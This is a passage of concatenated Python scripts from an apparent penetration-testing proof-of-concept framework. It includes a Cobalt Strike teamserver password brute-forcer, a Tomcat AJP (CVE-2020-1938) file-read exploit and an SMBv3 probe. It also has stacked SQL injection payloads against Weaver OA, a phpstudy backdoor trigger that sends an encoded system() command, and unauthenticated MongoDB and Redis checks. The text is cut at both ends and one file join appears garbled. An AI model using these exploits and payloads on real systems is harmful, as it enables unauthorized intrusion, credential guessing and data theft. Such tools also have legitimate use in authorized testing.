bytearray(b"\x00\x00\xbe\xef") + len(password).to_bytes(1, "big", signed=True) + bytes( 82 | bytes(password, "ascii").ljust(256, b"A")) 83 | conn.send(payload) 84 | if conn.is_connected(): res = conn.receive() 85 | if conn.is_connected(): conn.close() 86 | if res == bytearray(b"\x00\x00\xca\xfe"): 87 | result.append("{}:{}:{}".format(host, port, password)) 88 | is_continue = False 89 | except: 90 | # traceback.print_exc() 91 | pass 92 | 93 | 94 | def poc(url): 95 | # url = "http://www.example.org:22222/default.html?ct=32&op=92&item=98" 96 | # --> host:www.example.org port:22222 97 | if url[:4] != "http": 98 | url = "http://" + url 99 | o = urlparse(url) 100 | host = socket.gethostbyname(o.hostname) 101 | port = int(o.port) if o.port else 50050 102 | 103 | passwords = Queue() 104 | with open(paths.DATA_PATH + '/cobalt-strike.txt') as f: 105 | for password in f.read().splitlines(): 106 | passwords.put(password) 107 | result = [] 108 | if len(password) <= 100: 109 | threads_count = len(password) 110 | else: 111 | threads_count = 100 112 | gevent.joinall([gevent.spawn(password_check, passwords, host, port, result) for i in range(threads_count)]) 113 | 114 | if result: 115 | return result 116 | else: 117 | return False 118 | -------------------------------------------------------------------------------- /scripts/cve-2020-0796.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | import socket 10 | import struct 11 | from plugin.target_parse import url2ip 12 | 13 | pkt = b'\x00\x00\x00\xc0\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x08\x00\x01\x00\x00\x00\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x02\x00\x00\x00\x02\x02\x10\x02"\x02$\x02\x00\x03\x02\x03\x10\x03\x11\x03\x00\x00\x00\x00\x01\x00&\x00\x00\x00\x00\x00\x01\x00 \x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\n\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00' 14 | 15 | 16 | def poc(url): 17 | host = url2ip(url)[0] 18 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 19 | s.settimeout(5) 20 | try: 21 | s.connect((host, 445)) 22 | s.send(pkt) 23 | nb, = struct.unpack(">I", s.recv(4)) 24 | res = s.recv(nb) 25 | if res[68:70] == b"\x11\x03" and res[70:72] == b"\x02\x00": 26 | return True 27 | except: 28 | s.close() 29 | pass 30 | 31 | 32 | 33 | 34 | 35 | 36 | -------------------------------------------------------------------------------- /scripts/cve-2020-1938.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | """ 10 | CVE-2020-1938 : Tomcat-Ajp 协议漏洞分析 https://www.anquanke.com/post/id/199448 11 | 代码改自https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi/ 12 | """ 13 | 14 | import struct 15 | import socket 16 | from urllib.parse import urlparse 17 | 18 | socket.setdefaulttimeout(5) 19 | # Some references: 20 | # https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html 21 | def pack_string(s): 22 | if s is None: 23 | return struct.pack(">h", -1) 24 | l = len(s) 25 | return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0) 26 | 27 | 28 | def unpack(stream, fmt): 29 | size = struct.calcsize(fmt) 30 | buf = stream.read(size) 31 | return struct.unpack(fmt, buf) 32 | 33 | 34 | def unpack_string(stream): 35 | size, = unpack(stream, ">h") 36 | if size == -1: # null string 37 | return None 38 | res, = unpack(stream, "%ds" % size) 39 | stream.read(1) # \0 40 | return res 41 | 42 | 43 | class AjpBodyRequest(object): 44 | # server == web server, container == servlet 45 | SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2) 46 | MAX_REQUEST_LENGTH = 8186 47 | 48 | def __init__(self, data_stream, data_len, data_direction=None): 49 | self.data_stream = data_stream 50 | self.data_len = data_len 51 | self.data_direction = data_direction 52 | 53 | def serialize(self): 54 | data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH) 55 | if len(data) == 0: 56 | return struct.pack(">bbH", 0x12, 0x34, 0x00) 57 | else: 58 | res = struct.pack(">H", len(data)) 59 | res += data 60 | if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER: 61 | header = struct.pack(">bbH", 0x12, 0x34, len(res)) 62 | else: 63 | header = struct.pack(">bbH", 0x41, 0x42, len(res)) 64 | return header + res 65 | 66 | def send_and_receive(self, socket, stream): 67 | while True: 68 | data = self.serialize() 69 | socket.send(data) 70 | r = AjpResponse.receive(stream) 71 | while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS: 72 | r = AjpResponse.receive(stream) 73 | 74 | if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4: 75 | break 76 | 77 | 78 | class AjpForwardRequest(object): 79 | _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range( 80 | 28) 81 | REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 82 | 'TRACE': TRACE} 83 | # server == web server, container == servlet 84 | SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2) 85 | COMMON_HEADERS = ["SC_REQ_ACCEPT", 86 | "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", 87 | "SC_REQ_AUTHORIZATION", 88 | "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", 89 | "SC_REQ_COOKIE2", 90 | "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT" 91 | ] 92 | ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", 93 | "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"] 94 | 95 | def __init__(self, data_direction=None): 96 | self.prefix_code = 0x02 97 | self.method = None 98 | self.protocol = None 99 | self.req_uri = None 100 | self.remote_addr = None 101 | self.remote_host = None 102 | self.server_name = None 103 | self.server_port = None 104 | self.is_ssl = None 105 | self.num_headers = None 106 | self.request_headers = None 107 | self.attributes = None 108 | self.data_direction = data_direction 109 | 110 | def pack_headers(self): 111 | self.num_headers = len(self.request_headers) 112 | res = "" 113 | res = struct.pack(">h", self.num_headers) 114 | for h_name in self.request_headers: 115 | if h_name.startswith("SC_REQ"): 116 | code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1 117 | res += struct.pack("BB", 0xA0, code) 118 | else: 119 | res += pack_string(h_name) 120 | 121 | res += pack_string(self.request_headers[h_name]) 122 | return res 123 | 124 | def pack_attributes(self): 125 | res = b"" 126 | for attr in self.attributes: 127 | a_name = attr['name'] 128 | code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1 129 | res += struct.pack("b", code) 130 | if a_name == "req_attribute": 131 | aa_name, a_value = attr['value'] 132 | res += pack_string(aa_name) 133 | res += pack_string(a_value) 134 | else: 135 | res += pack_string(attr['value']) 136 | res += struct.pack("B", 0xFF) 137 | return res 138 | 139 | def serialize(self): 140 | res = "" 141 | res = struct.pack("bb", self.prefix_code, self.method) 142 | res += pack_string(self.protocol) 143 | res += pack_string(self.req_uri) 144 | res += pack_string(self.remote_addr) 145 | res += pack_string(self.remote_host) 146 | res += pack_string(self.server_name) 147 | res += struct.pack(">h", self.server_port) 148 | res += struct.pack("?", self.is_ssl) 149 | res += self.pack_headers() 150 | res += self.pack_attributes() 151 | if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER: 152 | header = struct.pack(">bbh", 0x12, 0x34, len(res)) 153 | else: 154 | header = struct.pack(">bbh", 0x41, 0x42, len(res)) 155 | return header + res 156 | 157 | def parse(self, raw_packet): 158 | stream = StringIO(raw_packet) 159 | self.magic1, self.magic2, data_len = unpack(stream, "bbH") 160 | self.prefix_code, self.method = unpack(stream, "bb") 161 | self.protocol = unpack_string(stream) 162 | self.req_uri = unpack_string(stream) 163 | self.remote_addr = unpack_string(stream) 164 | self.remote_host = unpack_string(stream) 165 | self.server_name = unpack_string(stream) 166 | self.server_port = unpack(stream, ">h") 167 | self.is_ssl = unpack(stream, "?") 168 | self.num_headers, = unpack(stream, ">H") 169 | self.request_headers = {} 170 | for i in range(self.num_headers): 171 | code, = unpack(stream, ">H") 172 | if code > 0xA000: 173 | h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001] 174 | else: 175 | h_name = unpack(stream, "%ds" % code) 176 | stream.read(1) # \0 177 | h_value = unpack_string(stream) 178 | self.request_headers[h_name] = h_value 179 | 180 | def send_and_receive(self, socket, stream, save_cookies=False): 181 | res = [] 182 | i = socket.sendall(self.serialize()) 183 | if self.method == AjpForwardRequest.POST: 184 | return res 185 | 186 | r = AjpResponse.receive(stream) 187 | assert r.prefix_code == AjpResponse.SEND_HEADERS 188 | res.append(r) 189 | if save_cookies and 'Set-Cookie' in r.response_headers: 190 | self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie'] 191 | 192 | # read body chunks and end response packets 193 | while True: 194 | r = AjpResponse.receive(stream) 195 | res.append(r) 196 | if r.prefix_code == AjpResponse.END_RESPONSE: 197 | break 198 | elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK: 199 | continue 200 | else: 201 | raise NotImplementedError 202 | break 203 | 204 | return res 205 | 206 | 207 | class AjpResponse(object): 208 | _, _, _, SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7) 209 | COMMON_SEND_HEADERS = [ 210 | "Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified", 211 | "Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate" 212 | ] 213 | 214 | def parse(self, stream): 215 | # read headers 216 | self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb") 217 | 218 | if self.prefix_code == AjpResponse.SEND_HEADERS: 219 | self.parse_send_headers(stream) 220 | elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK: 221 | self.parse_send_body_chunk(stream) 222 | elif self.prefix_code == AjpResponse.END_RESPONSE: 223 | self.parse_end_response(stream) 224 | elif self.prefix_code == AjpResponse.GET_BODY_CHUNK: 225 | self.parse_get_body_chunk(stream) 226 | else: 227 | raise NotImplementedError 228 | 229 | def parse_send_headers(self, stream): 230 | self.http_status_code, = unpack(stream, ">H") 231 | self.http_status_msg = unpack_string(stream) 232 | self.num_headers, = unpack(stream, ">H") 233 | self.response_headers = {} 234 | for i in range(self.num_headers): 235 | code, = unpack(stream, ">H") 236 | if code <= 0xA000: # custom header 237 | h_name, = unpack(stream, "%ds" % code) 238 | stream.read(1) # \0 239 | h_value = unpack_string(stream) 240 | else: 241 | h_name = AjpResponse.COMMON_SEND_HEADERS[code - 0xA001] 242 | h_value = unpack_string(stream) 243 | self.response_headers[h_name] = h_value 244 | 245 | def parse_send_body_chunk(self, stream): 246 | self.data_length, = unpack(stream, ">H") 247 | self.data = stream.read(self.data_length + 1) 248 | 249 | def parse_end_response(self, stream): 250 | self.reuse, = unpack(stream, "b") 251 | 252 | def parse_get_body_chunk(self, stream): 253 | rlen, = unpack(stream, ">H") 254 | return rlen 255 | 256 | @staticmethod 257 | def receive(stream): 258 | r = AjpResponse() 259 | r.parse(stream) 260 | return r 261 | 262 | 263 | def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET): 264 | fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER) 265 | fr.method = method 266 | fr.protocol = "HTTP/1.1" 267 | fr.req_uri = req_uri 268 | fr.remote_addr = target_host 269 | fr.remote_host = None 270 | fr.server_name = target_host 271 | fr.server_port = 80 272 | fr.request_headers = { 273 | 'SC_REQ_ACCEPT': 'text/html', 274 | 'SC_REQ_CONNECTION': 'keep-alive', 275 | 'SC_REQ_CONTENT_LENGTH': '0', 276 | 'SC_REQ_HOST': target_host, 277 | 'SC_REQ_USER_AGENT': 'Mozilla', 278 | 'Accept-Encoding': 'gzip, deflate, sdch', 279 | 'Accept-Language': 'en-US,en;q=0.5', 280 | 'Upgrade-Insecure-Requests': '1', 281 | 'Cache-Control': 'max-age=0' 282 | } 283 | fr.is_ssl = False 284 | fr.attributes = [] 285 | return fr 286 | 287 | 288 | class Tomcat(object): 289 | def __init__(self, target_host, target_port): 290 | self.target_host = target_host 291 | self.target_port = target_port 292 | 293 | self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 294 | self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 295 | self.socket.connect((target_host, target_port)) 296 | self.stream = self.socket.makefile("rb") 297 | 298 | def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]): 299 | self.req_uri = req_uri 300 | self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, 301 | method=AjpForwardRequest.REQUEST_METHODS.get(method)) 302 | # print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri)) 303 | if user is not None and password is not None: 304 | self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ( 305 | "%s:%s" % (user, password)).encode('base64').replace('\n', '') 306 | for h in headers: 307 | self.forward_request.request_headers[h] = headers[h] 308 | for a in attributes: 309 | self.forward_request.attributes.append(a) 310 | responses = self.forward_request.send_and_receive(self.socket, self.stream) 311 | if len(responses) == 0: 312 | return None, None 313 | snd_hdrs_res = responses[0] 314 | data_res = responses[1:-1] 315 | # if len(data_res) == 0: 316 | # print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers) 317 | return snd_hdrs_res, data_res 318 | 319 | 320 | ''' 321 | javax.servlet.include.request_uri 322 | javax.servlet.include.path_info 323 | javax.servlet.include.servlet_path 324 | ''' 325 | 326 | import traceback 327 | def poc(url): 328 | if not url.startswith("http"): 329 | url = "http://" + url 330 | o = urlparse(url) 331 | host = socket.gethostbyname(o.hostname) 332 | port = o.port if o.port else 8009 333 | try: 334 | t = Tomcat(host, port) 335 | _, data = t.perform_request('/asdf', attributes=[ 336 | {'name': 'req_attribute', 'value': ['javax.servlet.include.request_uri', '/']}, 337 | {'name': 'req_attribute', 'value': ['javax.servlet.include.path_info', "WEB-INF/web.xml"]}, 338 | {'name': 'req_attribute', 'value': ['javax.servlet.include.servlet_path', '/']}, 339 | ]) 340 | # print('----------------------------') 341 | # print("".join([d.data.decode() for d in data])) 342 | if "" not in res.text\ 34 | and "Login.jsp" not in res.text and "Error" not in res.text: 35 | return url + "\tpayload:" + data_payload 36 | except: 37 | pass 38 | return False 39 | -------------------------------------------------------------------------------- /scripts/fw_sql.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | """ 10 | 泛微OA mssql与oracle SQL注入 11 | refer: https://www.anquanke.com/post/id/188224 12 | auth: B1ain 13 | """ 14 | from lib.core.Request import request 15 | from plugin.target_parse import get_standard_url 16 | 17 | url_payload = "/mobile/browser/WorkflowCenterTreeData.jsp?node=wftype_1&scope=2333" 18 | payload1 = """formids=11111111111)))%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0dunion select NULL,@@version order by (((1""" 19 | payload2 = """formids=11111111111)))%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0dunion select NULL,value from v$parameter order by (((1""" 20 | 21 | def poc(url): 22 | headers = { 23 | 'Content-Type': 'application/x-www-form-urlencoded', 24 | } 25 | target = get_standard_url(url) 26 | url = target + url_payload 27 | for payload in (payload1, payload2): 28 | try: 29 | res = request.post(url, data=payload, headers=headers, timeout=5, allow_redirects=False) 30 | if "系统提醒工作流" in res.text and "403" not in res.text: 31 | if "@@version" in payload: 32 | return target + "\tmssql" 33 | else: 34 | return target + "\toracle" 35 | except: 36 | pass 37 | return False 38 | -------------------------------------------------------------------------------- /scripts/mongodb_unauth.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | # mongodb no certification required 9 | 10 | import socket 11 | from urllib.parse import urlparse 12 | import binascii 13 | import traceback 14 | 15 | 16 | def poc(url): 17 | # url = "http://www.example.org:22222/default.html?ct=32&op=92&item=98" 18 | # --> host:www.example.org port:22222 19 | if url[:4] != "http": 20 | url = "http://" + url 21 | o = urlparse(url) 22 | host = socket.gethostbyname(o.hostname) 23 | port = o.port if o.port else 27017 24 | try: 25 | socket.setdefaulttimeout(5) 26 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 27 | s.connect((host, port)) # if port are not open there will raise 28 | data = binascii.a2b_hex("430000000300000000000000d40700000000000061646d696e2e24636d640000000000" 29 | "ffffffff1c000000016c69737444617461626173657300000000000000f03f00") 30 | s.send(data) 31 | result = s.recv(500) # if not mongo there will raise 32 | if "databases".encode('utf-8') in result: 33 | return "{}:{}".format(host, port) 34 | return False 35 | 36 | except: 37 | # traceback.print_exc() 38 | return False 39 | -------------------------------------------------------------------------------- /scripts/phpstudy_backdoor.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | """ 10 | phpstudy后门检测脚本 11 | 漏洞分析: 12 | https://www.freebuf.com/articles/others-articles/215406.html 13 | https://mp.weixin.qq.com/s/t-P-n98ZydP3aSCdC0C9hQ 14 | """ 15 | 16 | 17 | from lib.core.Request import request 18 | from plugin.target_parse import get_standard_url 19 | 20 | 21 | def poc(url): 22 | head={ 23 | 'Accept-Encoding':'gzip,deflate', 24 | 'Accept-Charset':'c3lzdGVtKCdlY2hvIHBocHN0dWR5X2JhY2tkb29yX2ZsYWcnKTs=' 25 | } 26 | target = get_standard_url(url) 27 | try: 28 | res = request.get(url=target, headers=head, timeout=5, allow_redirects=False) 29 | if res.status_code == 200 and res.text.startswith("phpstudy_backdoor_flag"): 30 | return url 31 | except: 32 | pass 33 | return False 34 | -------------------------------------------------------------------------------- /scripts/redis_unauth.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | import socket 10 | from urllib.parse import urlparse 11 | import traceback 12 | 13 | 14 | def poc(url): 15 | try: 16 | socket.setdefaulttimeout(5) 17 | 18 | if not url.startswith("http"): 19 | url = "http://" + url 20 | o = urlparse(url) 21 | 22 | host = socket.gethostbyname(o.hostname) 23 | port = int(o.port) if o.port else 6379 24 | 25 | payload = '\x2a\x31\x0d\x0a\x24\x34\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a' 26 | s = socket.socket() 27 | s.connect((host, port)) 28 | s.send(payload.encode('utf-8')) 29 | recv_data = s.recv(1024) 30 | s.close() 31 | if recv_data and b'redis_version' in recv_data: 32 | return "{}:{}".format(host, port) 33 | except: 34 | # traceback.print_exc() 35 | return False 36 | -------------------------------------------------------------------------------- /scripts/seeyon.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | import base64 10 | from lib.core.Request import request 11 | import hashlib 12 | from urllib.parse import urlparse 13 | from plugin.random_ua import get_random_ua 14 | 15 | def f_base64decode(cipherlist): 16 | base64list = 'gx74KW1roM9qwzPFVOBLSlYaeyncdNbI=JfUCQRHtj2+Z05vshXi3GAEuT/m8Dpk6' 17 | length = len(cipherlist) 18 | group = length / 4 19 | s = '' 20 | string = '' 21 | 22 | for i in 